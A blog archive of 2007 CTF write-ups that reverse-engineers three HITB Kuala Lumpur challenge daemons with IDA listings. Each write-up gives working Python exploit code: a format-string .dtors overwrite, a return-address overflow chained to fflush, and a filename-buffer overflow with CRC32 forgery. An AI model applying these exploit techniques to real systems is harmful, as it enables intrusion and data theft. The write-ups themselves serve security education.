Entries For: September 2007
2007-09-16
Exploiting HITB 2007 Kuala Lumpur CTF Daemon 07
Like daemon05, daemon07 is an easy target. It suffers a format string bug. Exploiting it by overwriting .dtors with an easter-egg.
Analyzing main
There really is nothing to analyze here. It's plain to see that the last printf was called without any format string.
.text:08048A8E main proc near ; DATA XREF: start+17↑o .text:08048A8E .text:08048A8E var_118 = dword ptr -118h .text:08048A8E var_114 = dword ptr -114h .text:08048A8E var_110 = dword ptr -110h .text:08048A8E var_108 = dword ptr -108h .text:08048A8E .text:08048A8E push ebp .text:08048A8F mov ebp, esp .text:08048A91 sub esp, 118h ; char * .text:08048A97 and esp, 0FFFFFFF0h .text:08048A9A mov eax, 0 .text:08048A9F add eax, 0Fh .text:08048AA2 add eax, 0Fh .text:08048AA5 shr eax, 4 .text:08048AA8 shl eax, 4 .text:08048AAB sub esp, eax .text:08048AAD mov [esp+118h+var_118], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"... .text:08048AB4 call _printf .text:08048AB9 mov [esp+118h+var_118], offset aSecretCode ; "Secret Code: " .text:08048AC0 call _printf .text:08048AC5 mov eax, ds:stdout .text:08048ACA mov [esp+118h+var_118], eax .text:08048ACD call _fflush .text:08048AD2 mov [esp+118h+var_110], 100h .text:08048ADA lea eax, [ebp+var_108] .text:08048AE0 mov [esp+118h+var_114], eax .text:08048AE4 mov [esp+118h+var_118], 0 .text:08048AEB call _read .text:08048AF0 mov ds:dword_8052998, eax .text:08048AF5 mov [esp+118h+var_110], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt" .text:08048AFD mov eax, ds:dword_8052998 .text:08048B02 mov [esp+118h+var_114], eax .text:08048B06 lea eax, [ebp+var_108] .text:08048B0C mov [esp+118h+var_118], eax .text:08048B0F call sub_80489C4 .text:08048B14 mov [esp+118h+var_118], offset aWrongCode_Debu ; "Wrong Code.\nDebug Input : " .text:08048B1B call _printf .text:08048B20 lea eax, [ebp+var_108] .text:08048B26 mov [esp+118h+var_118], eax .text:08048B29 call _printf .text:08048B2E mov eax, 0 .text:08048B33 leave .text:08048B34 retn .text:08048B34 main endp
Exploit it
So, it's a simple format string exploit. We will overwrite the end of .dtors to point to the easter-egg function at 08048A32.
.text:08048A32 ; --------------------------------------------------------------------------- .text:08048A32 push ebp .text:08048A33 mov ebp, esp .text:08048A35 sub esp, 48h .text:08048A38 mov dword ptr [esp+4], offset aR ; "r" .text:08048A40 mov dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt" .text:08048A47 call _fopen .text:08048A4C mov [ebp-0Ch], eax .text:08048A4F mov eax, [ebp-0Ch] .text:08048A52 mov [esp+8], eax .text:08048A56 mov dword ptr [esp+4], 20h .text:08048A5E lea eax, [ebp-38h] .text:08048A61 mov [esp], eax .text:08048A64 call _fgets .text:08048A69 mov eax, [ebp-0Ch] .text:08048A6C mov [esp], eax .text:08048A6F call _fclose .text:08048A74 lea eax, [ebp-38h] .text:08048A77 mov [esp+4], eax .text:08048A7B mov dword ptr [esp], offset aS ; "\n%s" .text:08048A82 call _printf .text:08048A87 mov eax, 0 .text:08048A8C leave .text:08048A8D retn
These few lines of Python code are all it takes to construct an exploit.
dtors_addr = 0x08052804
target_addr = 0x08048A32
offset = 8
junk_cnt0 = offset * 4
junk_cnt1 = (target_addr & 0xFFFF) - junk_cnt0
junk_cnt2 = 0x10000 + ((target_addr & 0xFFFF0000) >> 16) - junk_cnt1 - junk_cnt0
fmtstring = struct.pack("I", dtors_addr) + struct.pack("I", dtors_addr + 2) + "aaaa" * (offset - 2)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt1, offset)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt2, offset + 1)
fmtstring += "\n"
# send this string to port 7777, will ya?
Observation
Unlike daemon05, we need not flush the buffer in printf because when the daemon ends normally, this buffer is automatically flushed. And the daemon does end normally. Let's find out why.
.dtors:08052800 _dtors segment dword public 'DATA' use32 .dtors:08052800 assume cs:_dtors .dtors:08052800 ;org 8052800h .dtors:08052800 db 0FFh .dtors:08052801 db 0FFh .dtors:08052802 db 0FFh .dtors:08052803 db 0FFh .dtors:08052804 db 0 .dtors:08052805 db 0 .dtors:08052806 db 0 .dtors:08052807 db 0 .dtors:08052807 _dtors ends .dtors:08052807 .jcr:08052808 ; --------------------------------------------------------------------------- .jcr:08052808 .jcr:08052808 ; Segment type: Pure data .jcr:08052808 ; Segment permissions: Read/Write .jcr:08052808 _jcr segment dword public 'DATA' use32 .jcr:08052808 assume cs:_jcr .jcr:08052808 ;org 8052808h .jcr:08052808 db 0 .jcr:08052809 db 0 .jcr:0805280A db 0 .jcr:0805280B db 0 .jcr:0805280B _jcr ends
Right after .dtors is .jcr which is filled with four 00, which incidentally is also the end marker for .dtors. So, when we overwrite 08052804 with the value 08048A32, we happen to insert a destructor to .dtors list. If .jcr were different, we would have to overwrite .jcr to point to the fflush code in main, which is at 08048AC5. This is still doable by extending our format string to have two more %hn overwrites.
Oh, and thank you, xWinGs, for these easy points.
2007-09-14
Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05
Daemon 05 has a simple buffer overflow error. Exploiting it by returning to a conveniently-left-behind function (an easter egg, I say).
Identify main
Like the previous blog post, let's start with the start function.
.text:080488B0 public start .text:080488B0 start proc near .text:080488B0 xor ebp, ebp .text:080488B2 pop esi .text:080488B3 mov ecx, esp .text:080488B5 and esp, 0FFFFFFF0h .text:080488B8 push eax .text:080488B9 push esp .text:080488BA push edx .text:080488BB push offset sub_804C650 .text:080488C0 push offset sub_804C5F0 .text:080488C5 push ecx .text:080488C6 push esi .text:080488C7 push offset main .text:080488CC call ___libc_start_main
We identify the main function as the last argument to ___libc_start_main. So let's get to it.
Analyze main
.text:08048ABE main proc near ; DATA XREF: start+17↑o .text:08048ABE .text:08048ABE var_518 = dword ptr -518h .text:08048ABE var_514 = dword ptr -514h .text:08048ABE var_510 = dword ptr -510h .text:08048ABE var_208 = dword ptr -208h .text:08048ABE .text:08048ABE push ebp .text:08048ABF mov ebp, esp .text:08048AC1 sub esp, 518h ; char * .text:08048AC7 and esp, 0FFFFFFF0h .text:08048ACA mov eax, 0 .text:08048ACF add eax, 0Fh .text:08048AD2 add eax, 0Fh .text:08048AD5 shr eax, 4 .text:08048AD8 shl eax, 4 .text:08048ADB sub esp, eax .text:08048ADD mov [esp+518h+var_518], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"... .text:08048AE4 call _printf .text:08048AE9 mov [esp+518h+var_518], offset aSecretCode ; "Secret Code: " .text:08048AF0 call _printf .text:08048AF5 mov eax, ds:stdout .text:08048AFA mov [esp+518h+var_518], eax .text:08048AFD call _fflush .text:08048B02 mov [esp+518h+var_510], 200h .text:08048B0A lea eax, [ebp+var_208] .text:08048B10 mov [esp+518h+var_514], eax .text:08048B14 mov [esp+518h+var_518], 0 .text:08048B1B call _read .text:08048B20 mov ds:dword_80529DC, eax .text:08048B25 mov [esp+518h+var_510], offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt" .text:08048B2D mov eax, ds:dword_80529DC .text:08048B32 mov [esp+518h+var_514], eax .text:08048B36 lea eax, [ebp+var_208] .text:08048B3C mov [esp+518h+var_518], eax .text:08048B3F call sub_80489F4
First, a few calls to printf to advertise this is from xWinGs. Nothing fancy yet. Then a read of 0x200 (1024) bytes to var_208. So, let's rename var_208 to input_buffer. And also note that input_buffer is the first item on the stack. After input_buffer there comes the frame pointer and a return address.
With the same reasoning as in the previous post, we also rename var_518 to first_arg, var_514 to second_arg, and var_510 to third_arg.
After the read is a check for score server packet. We'll skip it. And here comes the juicy part.
.text:08048B44 mov eax, ds:stdin .text:08048B49 mov [esp+518h+third_arg], eax .text:08048B4D mov [esp+518h+second_arg], 300h .text:08048B55 lea eax, [ebp+input_buffer] .text:08048B5B mov [esp+518h+first_arg], eax .text:08048B5E call _fgets .text:08048B63 mov [esp+518h+first_arg], offset aWrongCode_ ; "Wrong Code.\n" .text:08048B6A call _printf .text:08048B6F mov eax, 0 .text:08048B74 leave .text:08048B75 retn .text:08048B75 main endp
The next call is to fgets to read another, uhm, 0x300 bytes to input_buffer. And this is where overflow occurs. Remember that input_buffer is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing input_buffer we are able to control the return address.
Ok, that's all fine, but where do we want main to return to? A little digging around reveals this piece of unidentified code.
.text:08048A60 locret_8048A60: ; CODE XREF: sub_80489F4+29↑j .text:08048A60 leave .text:08048A61 retn .text:08048A61 sub_80489F4 endp .text:08048A61 .text:08048A62 ; --------------------------------------------------------------------------- .text:08048A62 push ebp .text:08048A63 mov ebp, esp .text:08048A65 sub esp, 48h .text:08048A68 mov dword ptr [esp+4], offset aR ; "r" .text:08048A70 mov dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt" .text:08048A77 call _fopen .text:08048A7C mov [ebp-0Ch], eax .text:08048A7F mov eax, [ebp-0Ch] .text:08048A82 mov [esp+8], eax .text:08048A86 mov dword ptr [esp+4], 20h .text:08048A8E lea eax, [ebp-38h] .text:08048A91 mov [esp], eax .text:08048A94 call _fgets .text:08048A99 mov eax, [ebp-0Ch] .text:08048A9C mov [esp], eax .text:08048A9F call _fclose .text:08048AA4 lea eax, [ebp-38h] .text:08048AA7 mov [esp+4],;;; eax .text:08048AAB mov dword ptr [esp], offset aS ; "\n%s" .text:08048AB2 call _printf .text:08048AB7 mov eax, 0 .text:08048ABC leave .text:08048ABD retn .text:08048ABE .text:08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ .text:08048ABE .text:08048ABE ; Attributes: bp-based frame .text:08048ABE .text:08048ABE main proc near ; DATA XREF: start+17↑o .text:08048ABE .text:08048ABE first_arg = dword ptr -518h .text:08048ABE second_arg = dword ptr -514h .text:08048ABE third_arg = dword ptr -510h .text:08048ABE input_buffer = dword ptr -208h
Look at 08048A62! It's a function prologue. And indeed from 08048A62 to 08048ABD is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!
Exploit it
Now, let's gather what we've have. We can control where main returns to, and we know there's a function that suits our purpose. Therefore, the challenge is... none. We just return to this function!
With that tactic, our exploit is as trivial as constructing a buffer containing all 08048A62. And how hard could it be? Two lines of Python code!
import struct
buffer = struct.pack("I", 0x08048A62) * 1000
Remotely exploit it
If you tried out the buffer above, you might find that it didn't work remotely. This is because the easter-egg function uses printf to print out the flag. It is common knowledge that printf buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0x664 bytes. However, only 0x300 bytes are read in. So this approach fails.
Another approach is to flush the stream after printf. Luckily, this is doable by returning to 08048AF5. At that address, there is a call to fflush on stdout. Again, we only use existing code.
In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:
buffer = struct.pack("I", 0x08048A62) * 300 + "\xF5\x8A\x04\x08" + "\x0A"
Observation
Well, what should I say? Thank you, xWinGs, for this twisted fun!
2007-09-11
Exploiting HITB 2007 KL CTF Daemon 01
Daemon 01 in the HITBSecConf 2007 Kuala Lumpur's Capture the Flag competition is a classical buffer overflow with a CRC32 check. Exploiting can be easily done by matching this CRC value.
Identifying the main function
IDA will land us right here when it finishes analysis.
.text:08048830 public start
.text:08048830 start proc near
.text:08048830 xor ebp, ebp .text:08048832 pop esi .text:08048833 mov ecx, esp .text:08048835 and esp, 0FFFFFFF0h .text:08048838 push eax .text:08048839 push esp .text:0804883A push edx .text:0804883B push offset sub_804C700
.text:08048840 push offset sub_804C6A0
.text:08048845 push ecx .text:08048846 push esi .text:08048847 push offset main
.text:0804884C call ___libc_start_main
Notice at 08048847, I have renamed the function as main.
Analyzing main
Let's get to main now. The function starts with:
.text:08048AA1 main proc near ; DATA XREF: start+17↑o .text:08048AA1 .text:08048AA1 first_arg = dword ptr -2F8h .text:08048AA1 second_arg = dword ptr -2F4h .text:08048AA1 third_arg = dword ptr -2F0h .text:08048AA1 var_2EC = dword ptr -2ECh .text:08048AA1 var_2E8 = dword ptr -2E8h .text:08048AA1 var_260 = dword ptr -260h .text:08048AA1 num_read = dword ptr -25Ch .text:08048AA1 input_buffer = dword ptr -258h .text:08048AA1 var_4C = dword ptr -4Ch .text:08048AA1 filename = dword ptr -48h .text:08048AA1 .text:08048AA1 push ebp .text:08048AA2 mov ebp, esp .text:08048AA4 sub esp, 2F8h ; fildes .text:08048AAA and esp, 0FFFFFFF0h .text:08048AAD mov eax, 0 .text:08048AB2 add eax, 0Fh .text:08048AB5 add eax, 0Fh .text:08048AB8 shr eax, 4 .text:08048ABB shl eax, 4 .text:08048ABE sub esp, eax .text:08048AC0 mov [esp+2F8h+first_arg], offset static_buffer
.text:08048AC7 call sub_80489E2
.text:08048ACC mov [esp+2F8h+third_arg], 200h .text:08048AD4 mov [esp+2F8h+second_arg], 0 .text:08048ADC lea eax, [ebp+input_buffer]
.text:08048AE2 mov [esp+2F8h+first_arg], eax .text:08048AE5 call _memset
.text:08048AEA mov [esp+2F8h+third_arg], 40h .text:08048AF2 mov [esp+2F8h+second_arg], 0 .text:08048AFA lea eax, [ebp+filename]
.text:08048AFD mov [esp+2F8h+first_arg], eax .text:08048B00 call _memset
.text:08048B05 mov [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps" .text:08048B0D lea eax, [ebp+filename]
.text:08048B10 mov [esp+2F8h+first_arg], eax .text:08048B13 call _strcpy
.text:08048B18 mov [esp+2F8h+third_arg], 400h .text:08048B20 lea eax, [ebp+input_buffer]
.text:08048B26 mov [esp+2F8h+second_arg], eax .text:08048B2A mov [esp+2F8h+first_arg], 0 .text:08048B31 call _read
.text:08048B36 mov [ebp+num_read], eax .text:08048B3C cmp [ebp+num_read], 0FFFFFFFFh .text:08048B43 jnz short loc_8048B5D
.text:08048B45 mov [esp+2F8h+first_arg], offset aRead ; "read" .text:08048B4C call _perror
.text:08048B51 mov [esp+2F8h+first_arg], 1 .text:08048B58 call _exit
Well, you may have noticed that the names are not what you have in your IDA listing. These names are my names given to those identifiers after analyzing the function. So let's see how we could arrive to the same naming.
First, there is a call to sub_80489E2 and a static_buffer is passed to it. You will be right to guess this is some kind of initialization routine. Why static_buffer? Because it is static (located in .bss segment) and it is a buffer.
Next to it, some sort of buffer is reset to 0 with memset (0x200 bytes). Notice GCC uses mov instead of push to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a mov to the lowest slot is equivalent to the last push, or in other words, the first argument. And therefore I named the lowest slot first_arg, followed (logically) by second_arg and so on.
We see another buffer being reset to 0 (0x40 bytes). Then right after that, /proc/self/maps is strcpy'd to that buffer. Well, let's not waste anytime and mark it filename.
With one buffer marked, we still have one left. Luckily, the next call to read tells us that the remaining buffer should be named input_buffer. Right?
But, hey, wait, the read was for 0x400 bytes while input_buffer is only (0x258 - 0x4C) byte long. That is, if you fill input_buffer with (0x258 - 0x4C) bytes you will hit var_4C, and if you fill 4 bytes more than that, you will hit the beginning of filename. How wonderful! It gives you control over filename.
Let's move on.
.text:08048B5D loc_8048B5D: ; CODE XREF: main+A2↑j .text:08048B5D mov [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt" .text:08048B65 mov eax, [ebp+num_read]
.text:08048B6B mov [esp+2F8h+second_arg], eax .text:08048B6F lea eax, [ebp+input_buffer]
.text:08048B75 mov [esp+2F8h+first_arg], eax .text:08048B78 call is_from_server
.text:08048B7D mov [esp+2F8h+third_arg], offset static_buffer
.text:08048B85 mov eax, [ebp+num_read]
.text:08048B8B mov [esp+2F8h+second_arg], eax .text:08048B8F lea eax, [ebp+input_buffer]
.text:08048B95 mov [esp+2F8h+first_arg], eax .text:08048B98 call CRC32
.text:08048B9D mov [ebp+var_4C], eax .text:08048BA0 cmp [ebp+var_4C], 0FEEDAFEDh .text:08048BA7 jnz short loc_8048C25
.text:08048BA9 mov [esp+2F8h+second_arg], offset aR ; "r" .text:08048BB1 lea eax, [ebp+filename]
.text:08048BB4 mov [esp+2F8h+first_arg], eax .text:08048BB7 call _fopen
.text:08048BBC mov [ebp+var_260], eax .text:08048BC2 cmp [ebp+var_260], 0 .text:08048BC9 jz short loc_8048C25
Please just take it for granted that at 08048B78 is a call to process score server packets. So let's skip it over and analyze the next call.
.text:08048A4C CRC32 proc near ; CODE XREF: main+F7↓p .text:08048A4C .text:08048A4C var_8 = dword ptr -8 .text:08048A4C var_4 = dword ptr -4 .text:08048A4C arg_0 = dword ptr 8 .text:08048A4C arg_4 = dword ptr 0Ch .text:08048A4C arg_8 = dword ptr 10h .text:08048A4C .text:08048A4C push ebp .text:08048A4D mov ebp, esp .text:08048A4F sub esp, 8 .text:08048A52 mov [ebp+var_8], 0FFFFFFFFh .text:08048A59 mov [ebp+var_4], 0 .text:08048A60 .text:08048A60 loc_8048A60: ; CODE XREF: CRC32+4C↓j .text:08048A60 mov eax, [ebp+var_4]
.text:08048A63 cmp eax, [ebp+arg_4]
.text:08048A66 jge short loc_8048A9A
.text:08048A68 mov eax, [ebp+var_8]
.text:08048A6B mov ecx, eax .text:08048A6D shr ecx, 8 .text:08048A70 mov eax, [ebp+var_4]
.text:08048A73 add eax, [ebp+arg_0]
.text:08048A76 movzx eax, byte ptr [eax]
.text:08048A79 xor eax, [ebp+var_8]
.text:08048A7C and eax, 0FFh .text:08048A81 lea edx, ds:0[eax*4]
.text:08048A88 mov eax, [ebp+arg_8]
.text:08048A8B mov eax, [edx+eax]
.text:08048A8E xor eax, ecx .text:08048A90 mov [ebp+var_8], eax .text:08048A93 lea eax, [ebp+var_4]
.text:08048A96 inc dword ptr [eax]
.text:08048A98 jmp short loc_8048A60
.text:08048A9A ; --------------------------------------------------------------------------- .text:08048A9A .text:08048A9A loc_8048A9A: ; CODE XREF: CRC32+1A↑j .text:08048A9A mov eax, [ebp+var_8]
.text:08048A9D not eax .text:08048A9F leave .text:08048AA0 retn .text:08048AA0 CRC32 endp
If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the 0xFFFFFFFF initial value, the "take each character, xor it, and logical and it with 0xFF" (movzx, xor and and starting from 08048A76, and the negation at 08048A9D.
static_buffer to crc32_table. But that's beside the point.
Now we go back to the main function. After taking CRC32 value of the whole read input_buffer, the value is compared with 0xFEEDAFED. If it is equal, then the filename is open, read and written out.
Exploit it
Let's gather what we've got. First we are able to overflow the filename buffer. Second, if the CRC value matches 0xFEEDAFED, the file identified by filename will be opened, read, and written out to stdout. And there lies our only challenge, to construct a buffer with CRC32 value matching 0xFEEDAFED.
import zlib
buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txt\x00"
def fix_crc(buffer, target_crc):
buffer_crc = zlib.crc32(buffer)
charset = [chr(x) for x in range(256)]
fix = ['a'] * 4
crc = [0] * 4
for fix[0] in charset:
crc[0] = zlib.crc32(fix[0], buffer_crc)
for fix[1] in charset:
crc[1] = zlib.crc32(fix[1], crc[0])
for fix[2] in charset:
crc[2] = zlib.crc32(fix[2], crc[1])
for fix[3] in charset:
crc[3] = zlib.crc32(fix[3], crc[2])
if (crc[3] & 0xFFFFFFFF) == target_crc:
return ''.join(fix)
buffer = buffer + fix_crc(buffer, 0xFEEDAFED)
Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by anarchriz.
Observation
This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard 0xFFFFFFFF and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.
2007-09-07
HITB 2007 Flag Captured
Team Sao Vang captured the flag at HITB 2007